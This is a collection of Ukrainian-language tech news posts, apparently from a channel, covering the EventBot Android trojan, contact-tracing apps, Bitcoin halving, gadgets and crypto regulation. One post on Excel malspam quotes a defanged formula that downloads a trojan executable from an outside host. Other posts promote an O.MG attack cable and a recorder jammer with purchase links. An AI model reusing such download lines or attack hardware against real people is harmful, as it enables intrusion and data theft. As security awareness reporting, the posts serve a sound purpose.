EVENTBOT: Нова ера банківських троянів

Дослідники безпеки б'ють тривогу через нещодавно відкрите зловмисне програмне забезпечення для Android, націлене на банківські програми та гаманці криптовалют🔑

Команда Cybereason Nocturnus розслідує EventBot, новий тип зловмисного програмного забезпечення для Android, який з’явився в березні 2020 року. EventBot - мобільний банківський троян🤖 та інфостилер, який зловживає функціями доступності Android для крадіжки даних користувачів з фінансових додатків, крадіжок SMS повідомленнь, що робить можливим обхід двофакторної автентифікації.

EventBot націлений на користувачів понад 200 різних фінансових додатків, включаючи банківські послуги🏦, сервіси з переказу грошей та криптовалютні гаманці: Раураl, Revolut, Barclays , UniCredit, Coinbase, PaysafeCard, і багато іншого.

EventBot , маскується як ,безпечний додаток для Android - наприклад, Adobe Flash або Microsoft Word. Дане шкідливе ПЗ поки не виявляли в Play Market, тому дослідники радять не встановлювати додатки з неофіційних джерел, аже саме там найбільше ризиків.🅰️
Повне досліждення тут.

​Приватність. Приємний спогад чи виклик согодення?

Ну що ж, друзі, без перебільшення можна сказати, що ми переходимо в новий період інформаційної ери, ери в якій конфіденційність протилежна до комфорту👀

Корпорації та держави розпочали гонку програмного забезпечення, яке називають "Цифровим рукостисканням", суть якого полягає у відстежуванні соціального життя, в основному за допомогою таких технологій як Bluetooth та GPS📡.

📲Apple і Google готуються в другій половині травня запустити свій варіант мобільного додатку для "відстежування контактів"на основі Bluetooth-з'єднань смартфону.
🇮🇳 Індія. Гігант телекомунікацій Jio вже зібрав інформацію про 80 мільйонів людей і не захистив ці дані як слід, стався витік.
🇦🇺Австралія. Мільйони людей завантажили на свої смартфони сумнівний додаток, що фіксуватиме людей в радіусі 1.5м один від одного.

🇦🇹Австрія. STOPP CORONA APP - також додаток для "протидії" covid-19.
🇫🇷Франція. Наступного тижня запускає додаток StopCOVID.Однак, на відміну від інших країн, Франція відмовилася використовувати дані геолокації, тому немає можливості дізнатися місцеположення чи переміщення користувачів.

А яке Ваше ставлення до такого?

Файл Excel зі шкідливим вмістом🔗

Фахівці з інформаційної безпеки спостерігають в країнах Європи, особливо Італії та Німеччині, розсилання незвичного СПАМу. В електронних листах присутній файл Excel (.xls), зазвичай із назвою "рахунок","чек" і тд, який в подальшому активізовує завантаження трояну⚠️.

При відкритті файл (.xls) видається порожнім, але у нього є прихований аркуш👀, де міститься формула:"= FORMULA (" hxxp: //gstat.dondyablo [.] Com / fattura.exe ", $ BB $ 54", яка перенаправляє до URL-адреси та завантаження вірусу.

​Участь у відеоконференції не виходячи з Tesla🚘

Житель Кремнієвої долини запитав Ілона Маска в Twitter чи можуть водії Tesla розраховувати на додаткові функції в автомобілі і отримав позитивну відповідь. Генеральний директор автовиробника запевнив, що відеоконференції в Tesla - це майбутня особливість авто.

Імовірно такий функціонал буде доступний тоді, коли авто не перебуватиме в русі, тобто під час зарядки акумуляторів чи на парковці, хоча, можливо, що прогресуючий автопілот невдовзі дозволить використовувати відеозв'язок і під час руху. Безперечно Tesla model S зі своїм 17-дюймовим сенсорним дисплеєм та шумоізоляцією буде доволі комфортним "залом для конференцій" 📞

Ще одна крута ідея, як зазначалося в твітті - це спосіб власників Tesla з'єднатись один з одним через функцію "поблизу". Це, дозволить користувачам знайти однодумців, обмінятись досвідом, виручити один одного при несправності авто👨🏻‍🔧 чи банально потеревенити, коли нудно 🗣

Детектор взлому маршрутизатора(роутера)

Чи була б Вам цікава нова рубрика #thedevice ?🙃 В ній я ділитимусь з Вами цікавими пристроями, які можуть допомогти захиститись від небажаного електронного втручання та збирання інформації. А також пристроями, за допомогою яких скоюються різного роду крадіжки даних. Надіюсь, що ця інформація підвищить обережність та пильність кожного з нас🕵🏼‍♂️🕵🏻‍♀️

У сучасному світі зламати WiFi або хоча б просто заглушити не складе надзвичайних зусиль. Але що якщо предметом атаки буде твій WIFi?📳 Якщо ти всерйоз стурбований збереженням і захистом своєї WiFi мережі. То тобі не обійтися без цієї штуковини. Вона реагує у випадку атаки на твою точку доступу і в разі тривоги подає світлове і звукове повідомлення. З коробки прошитий, але можна змінити прошивку на будь-яку. Увіткнути її можна прямо в USB роутера.
Купити можна тут. Пам'ятаємо про дозволи та відповідальність.

Отож чи хотіли б бачити таку рубрику?

​Анімешний ботнет🤖

Протягом 8 років хакер керував масовим IoT-ботнетом просто для завантаження відео з аніме🤷🏻‍♂️
На думку дослідників Forcepoint, цей ботнет був унікальним за своїм способом роботи, оскільки він використовував лише одну вразливість протягом усього восьмирічного життя.🤔

Ботнет складався виключно з пристроїв D-Link NAS та NVR, та досягав 10 000 ботів у 2015 році і незважаючи на використання лише однієї вразливості був досить просунутим.  🗡️

👨🏻‍💻Таємний власник намагався виправити помилки, щоб не допустити інших зловмисників до викрадення своїх систем, і керував зараженими ботами у дванадцяти менших підмережах🌐

І що доволі цікаво хакер ніколи не здійснював DDoS-атаки, а також не знайли доказів того, що ботнет намагався отримати доступ до даних користувачів, що зберігаються на пристроях.

​Спільна віртуальна лабораторія для медичних досліджень🗃

Уявіть собі модель спільних досліджень і розробок між лікарнями, фармацевтичними компаніями, університетами та іншими дослідними інститутами, де ніхто не ділився будь-якими фактичними даними💾

Це мрія нового нью-йоркського стартапу Owkin, який отримав 25 мільйонів доларів 💰у вигляді нового фінансування від інвесторів, включаючи Bpifrance Large Venture, Cathay Innovation і MACSF (Французький пенсійний фонд для лікарів), поряд з попередніми інвесторами GV, F-Prime Capital і Eight Roads.

Суть компанії в тому, що вчені, які працюють з даними, лікарі та фармацевтичні компанії можуть увійти в віртуальну лабораторію, яку Owkin називає Owkin Studio та покращити комунікацію між собою🗣

У цьому віртуальному середовищі всі сторони можуть отримати доступ до наборів даних і моделей виключно для вдосконалення своїх власних досліджень і розробок 👨🏻‍🔬. За словами компанії, кінцевою метою є поліпшення результатів лікування пацієнтів.👥

​Надзвичайно важлива подія в світі криптовалюти. Bitcoin 🥇

Хайп навколо Bitcoin істотно зменшився, проте зараз цікавість до цієї криптовалюти повертається. Причина в халвінгу, який ось-ось відбудеться😱Залишилось менше доби, експерти прогнозують, що за цим послідує різке зростання курсу - валюта може вирости до $ 50 000 за монету вже до кінця 2020 року📈

Халвінг - це зниження винагороди за майнінг в два рази. У мережі Bitcoin він відбувається раз в 4 роки. Два попередніх халвінга відбулися в 2012 і 2016 роках. До найближчого Халвінгу залишилось менше доби. В цей день буде здобутий 630 000-й блок Bitcoin , після чого винагороду за Майнінг буде зменшено з 12,5 BTC за блок до 6,25 BTC.⛏

Так, після першого халвінга Bitcoin подорожчав приблизно з $ 10 до $ 1000. В результаті другого халвінга курс виріс до $ 20 000.

Яка Ваша думка на рахунок майбутньої ціни на Bitcoin, ціна зросте чи обвалиться?🤔

​BudUSB - кабель 🔀

#thedevice
Кабель зовні нічим не відрізняється від кабелю зарядки microUSB чи lightning, однак ізюминка всередині🔓
Якщо раніше ми не були уважні з USB-кабелем зарядки смартфону📱, то саме час переглянути своє ставлення . Кабель O.MG (або набір MG) приховує контролер всередині оболонки USB-роз'єму з підтримкою лінії передачі даних. . Підключіть цей кабель до комп’ютера, і ви станете жертвою віддалених атак через WiFi🆓

Проблема BadUSB, по суті, не була усунена і небезпечна донині. Захиститися від подібних атак можна хіба що за допомогою спеціального захисного перехідника (такі рішення відомі як USB-презервативи або USB condom).

Для навчальних цілей купити можна тут. Пам'ятаємо про дозволи та відповідальність.

NASA ініціює угоду "Артеміда"

NASA знає, що для встановлення присутності людини на Місяці доведеться співпрацювати з іноземними космічними агенціями та приватними компаніями. Ось чому з'явився набір настанов під назвою « Угода Артеміди» для організацій, які хочуть взяти участь у висадці на Місяці до 2024 року.👩🏻‍🚀👨‍🚀

Нації-партнери також зобов’язані надавати допомогу космонавтам у біді та оприлюднювати наукові дані, які будуть в їх розпорядженні. Повинні пообіцяти збирати ресурси з Місяця, Марса та астероїдів згідно Договору про космос .💫

Зокрема, наголошують на деяких статтях Договору, включаючи таку, що говорить про те, що Місяць та інші небесні тіла "не підлягають національному привласненню за вимогою суверенітету, шляхом використання чи окупації чи будь-якими іншими способами".🆓

Офіційне джерело тут.✔️

​Захисна маска з ультрафіолетовою дезінфекцією

Amazfit анонсувала, що розробляє просочувальну пластикову маску із вбудованими ультрафіолетовими лампами, які можуть дезінфікувати фільтри протягом 10 хвилин при підключенні до джерела живлення через USB-порт. Недосконалість полягає в тому, що лампи дезинфікують лише внутрішню частину маски, а користувачі все одно повинні чистити зовнішню поверхню.

Aeri, така назва в нової "маски", використовує знімні фільтри, на рівні фільтрації N95. Якщо концепція реалізується, кожен фільтр міг би прослужити до півтора місяців, що значно довше, ніж середній термін експлуатації хірургічних масок та распіраторів N95.

​Samsung представляє ISOCELL

Samsung Electronics, світовий лідер в галузі передових напівпровідникових технологій, представила сьогодні Samsung ISOCELL GN1, новий 50-мегапіксельний (Mp) датчик зображення з великими пікселями розміром 1,2 мкм. ISOCELL GN1 - перший датчик зображення Samsung, який пропонує як технології Dual Pixel, так і Tetracell.

Новий Samsung ISOCELL GN1 задовольняє ці кілька потреб одразу за допомогою технологій Dual Pixel та Tetracell. GN1 приносить найкраще в своєму класі автофокусування з агентами автофокусування 100 мільйонів фаз (PDAF). Технологія Dual Pixel від Samsung розміщує два фотодіоди поруч у межах одного пікселя, які можуть отримувати світло з різних кутів для фазового виявлення.

Для кінцевої фотографії з низьким освітленням GN1 використовує технологію Tetracell - технологію злиття пікселів, яка покращує здатність пікселів захоплювати та обробляти більше світла. Об’єднуючи чотири піксельні сигнали в один, Tetracell вдвічі збільшує розмір пікселя датчика зображення до 2,4 мкм і вчетверо збільшує чутливість до світла для отримання яскравіших фотографій на 12,5 Мп.

Окрім технологій Dual Pixel та Tetracell, GN1 оснащений Smart-ISO, який інтелектуально підбирає оптимальний ISO, HDR в режимі реального часу, який фіксує сцену в декількох експозиціях одночасно, та електронну стабілізацію зображення на основі гіроскопа (EIS), яка знімає чіткі зображення та відео навіть у русі.

Міністерство цифрової трансформації України винесло на громадське обговорення законопроєкт «Про віртуальні активи».

Обговорення проекту закону триватиме до 5 червня. У документі віртуальні активи визначаються як майно і діляться на дві категорії - криптоактиви і токени💎

Постачальники послуг повинні пройти реєстрацію в Мінцифри, що закріплюється законопроєктом як регулятора обороту віртуальних активів. До цієї категорії відносяться компанії, що надають кастодіальні і пов'язані з обміном віртуальних активів послуги, а також біржі.📊

Зокрема, за діяльність, яка має ознаки кваліфікованого постачальника послуг, пов'язаних з обігом віртуальних активів, без державної реєстрації передбачає штраф в розмірі від 5000 до 10000 НМДГ (від 85000 до 170000 грн).😶

Одним з авторів законопроекту вказаний депутат Олексій Жмеренецькій. У суспільстві вважають його некомпетентним в питаннях криптовалют і технології блокчейн.👎🏻
Якщо документ ухвалять, він вступить в силу через три місяці після публікації.📅

​Робот Spot у сільському господарстві 🤖

Rocos - компанія з розгортання роботів у Новій Зеландії, вирішила співпрацювати з Boston Dynamics в тестуванні їх Spot-машини для сільськогосподарських робіт. Компанія завантажила відео, що демонструє, як собака-робот потенційно може слідкувати за отарою овець🐑

Spot також може бути запрограмований для автономної прогулянки навколо району по заданій траекторії та виконання потенційних завдань, таких як розвідка місця та забезпечення спостереження, огляд насаджень різних культур. В парі зі штучним інтелектом стане можливим проведення аналізу урожайності, покращення методі вирощування і тд🥦🌽

"Автоматизація сільського господарства змінює спосіб роботи фермерів, підвищуючи ефективність світового виробництва продуктів харчування для постійно зростаючого людського населення", - йдеться у відео компанії.🎥

​Роль криптовалюти в Ірані🇮🇷

Президент Ірану Хасан Рухані доручив уряду розробити нову національну стратегію щодо майнінгу криптовалют. Про це пише місцеве видання ArzDigital. Враховуючи, що країна займає 4 місце в світі по запасах нафти та беручи до уваги напружені стотунки з сусідами і світом в цілому, майнінг дасть змогу монетизувати свої енергетичні ресурси альтернативним методом.🔋

З цим посланням Рухані звернувся до центробанку, міністерства енергетики, інформаційних і комунікаційних технологій. Він закликав відомства опрацювати питання регулювання індустрії видобутку криптовалюта і доходів від цієї діяльності.🏦

Майнінг в Ірані легалізували влітку минулого року. Для запуску ферми необхідно отримати ліцензію в Міністерстві промисловості, рудників і торгівлі. За півроку влада видала понад тисячу таких дозволів📜

Можливо й Україні слід переглянути свою політику щодо криптовалюти? Як думаєте? 🤔

​Новий рекорд швидкості Інтернету📡

Дослідники з австралійських університетів Монаш, Суінберн і RMIT стверджують, що встановили новий рекорд швидкості інтернету 44,2 Тбіт / с, говориться в статті, опублікованій у відкритому доступі в журналі Nature Communications.

Що цікаво в дослідженні, так це те, що воно було досягнуто за 75 км стандартного оптичного волокна з використанням єдиного інтегрованого джерела мікросхем, що означає, що воно може в один прекрасний день отримати застосування в існуючій волоконній інфраструктурі.

Тепер дослідники говорять, що завдання полягає в тому, щоб перетворити технологію в щось, що можна використовувати з існуючою інфраструктурою. «У довгостроковій перспективі ми сподіваємося створити інтегровані фотонні чіпи, які дозволять досягти такої швидкості передачі даних по існуючим оптоволоконних каналах зв'язку з мінімальними витратами», - каже професор RMIT Арнау Мітчелл.👨🏻‍🏭

​Ідеальний час, щоб почати користуватись менеджером паролей 🔐

Практично кожного дня в новинах з'являється інформація про хакерські атаки, взломи та масштабні витоки даних, наприклад той, що недавно стався в Україні. Думаю багато з нас чули про менеджер паролей, але користуються ним, напевно, одиниці🤐

Менеджер паролів відстежує всі паролі , які ви використовуєте: електронної пошти, для інтернет-магазинів, банківських послуг і тд. Є такі, що допоможуть визначити паролі, які ви повторно використовували на декількох сайтах або слабкі❗️ Вони навіть можуть повідомити вас про порушення сайту, який ви використовуєте. Їх є велика кількість, як приклад приведу декілька популярних:

Bitwarden - безкоштовний;
1Password - ціна\якість;
dashlane - функціональність;
KeePassXC - "зроби сам". Хочете зберегти більше контролю над своїми даними у хмарі? Спробуйте використовувати настільний додаток, наприклад KeePassXC. Він зберігає зашифровані версії всіх ваших паролів у зашифрованому цифровому сховищі, який ви захищаєте за допомогою головного пароля, файла ключа або обох.

Facebook анонсувала CatchUp

Найновіший експеримент команди NPE (New Product Experimentation) у Facebook "повертається" в минуле, коли телефони використовувались просто для голосових дзвінків. CatchUp допомагає користувачам залишатися на зв’язку, показуючи, коли сім'я та друзі мають можливість для спілкування🗣Поки додаток доступний тільки в США в режимі тестування.

"На основі наших досліджень ми виявили, що одна з головних причин, коли люди не телефонують друзям та родинам, - це те, що вони не знають, коли вони можуть спілкуватись, або переживають, що можуть зв'язатися з ними в незручний час. CatchUp вирішує цю проблему і навіть робить груповий дзвінок таким же простим " - Ніккі Шах

Samsung разом з Mastercard та компанією SoFi, пропонує новий "досвід управління грошима", який називається Samsung Money. Очікується, що Samsung Money з'явиться для споживачів США цього літа.

Продукт складається з дебетової картки Mastercard, керованої за допомогою персональної фінансової компанії SoFi. Samsung також забезпечить відсутність плати за рахунки, винагороди за економію грошей та ексклюзивні переваги, пов’язані з мобільним платежем компанії та послугою цифрового гаманця під назвою Samsung Pay .

​Приглушувач диктофонів🎙️

#thedevice
Це технічний засіб захисту від несанкціонованого знімання аудіоінформації. Пристрій, що забезпечить захист від витоку важливих даних особистісного або комерційного характеру при переговорах.

Прилад робить неможливим запис голосу на будь-які типи диктофонів (аналогові і цифрові). Використовується кілька типів придушення: ультразвукове та акустичне. При цьому ви можете використовувати одночасно обидва типи придушення, що збільшить ваші шанси на те, що вас не запишуть.


Для навчальних цілей купити можна тут. Пам'ятаємо про дозволи та відповідальність.

Xiaomi запускає бездротовий принтер 🖨

Сьогодні Xiaomi анонсувала свій новий бездротовий принтер Mi Inkjet All-In-One на китайському ринку. Відкрито можливість попереднього замовлення, зазначають, що ціна становитиме приблизно 70$💵

Цей новий бездротовий струменевий принтер від Xiaomi має три режими роботи - друк, копіювання та сканування. Хоча одна з особливостей принтера - бездротове підключення, він все ще підтримує дротовий USB-з'єднання.

Принтер використовує високоякісне імпортне чорнило, яке не має запаху. Відповідно до торгової марки, стандартний чорнильний картридж на повну ємність може бути використаний для друку близько 480 сторінок📄
Підтримка мобільного друку для обох платформ - Android та iOS, очікувана ціна картриджа 9-10$.